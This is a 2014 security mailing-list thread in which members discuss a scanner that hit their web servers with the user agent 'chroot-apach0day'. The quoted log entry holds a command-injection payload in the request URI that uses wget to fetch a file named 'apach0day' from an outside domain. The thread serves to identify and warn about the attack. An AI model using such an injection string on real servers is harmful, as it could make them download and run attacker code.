Re: [Security Weekly] apache chroot 0day?

[xgermx <xgermx () gmail com>]

Seeing hits from 16X.XXX.XX.X7
Based on the name, I'd have to guess reflective DNS DDoS
Registrant phone for proxypipe.com is +1.8557769900 which actually works
and an IVR picks up :) I selected option 2 for tech support to complain
that the other kidz are laughing at my lame apache 0day but, my call was
shunted.

xgermx


On Mon, Jul 28, 2014 at 10:30 AM, Frank Michael <frankcmichael () gmail com>
wrote:

> Various sources confirming the same thing for other sites. All on 7/28.
> Keep an eye open.
>
> On Jul 28, 2014, at 5:09 AM, Robin Wood <robin@digi.ninja> wrote:
>
> I've got a site that was scanned this morning by a tool that left these
> entries in the logs:
>
>     [HTTP_USER_AGENT] => chroot-apach0day
>     [HTTP_REFERRER] => /xA/x0a/x05
>     [REQUEST_URI] => /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget%
> 20proxypipe.com/apach0day;
>
> Anyone recognise it? That user agent isn't coming up in google searches.
>
> Robin
>
> _______________________________________________
>
> Pauldotcom mailing list
> Pauldotcom () mail securityweekly com
> http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom
> Main Web Site: http://pauldotcom.com
>
>
> _______________________________________________
> Pauldotcom mailing list
> Pauldotcom () mail securityweekly com
> http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom
> Main Web Site: http://pauldotcom.com
_______________________________________________
Pauldotcom mailing list
Pauldotcom () mail securityweekly com
http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom
Main Web Site: http://pauldotcom.com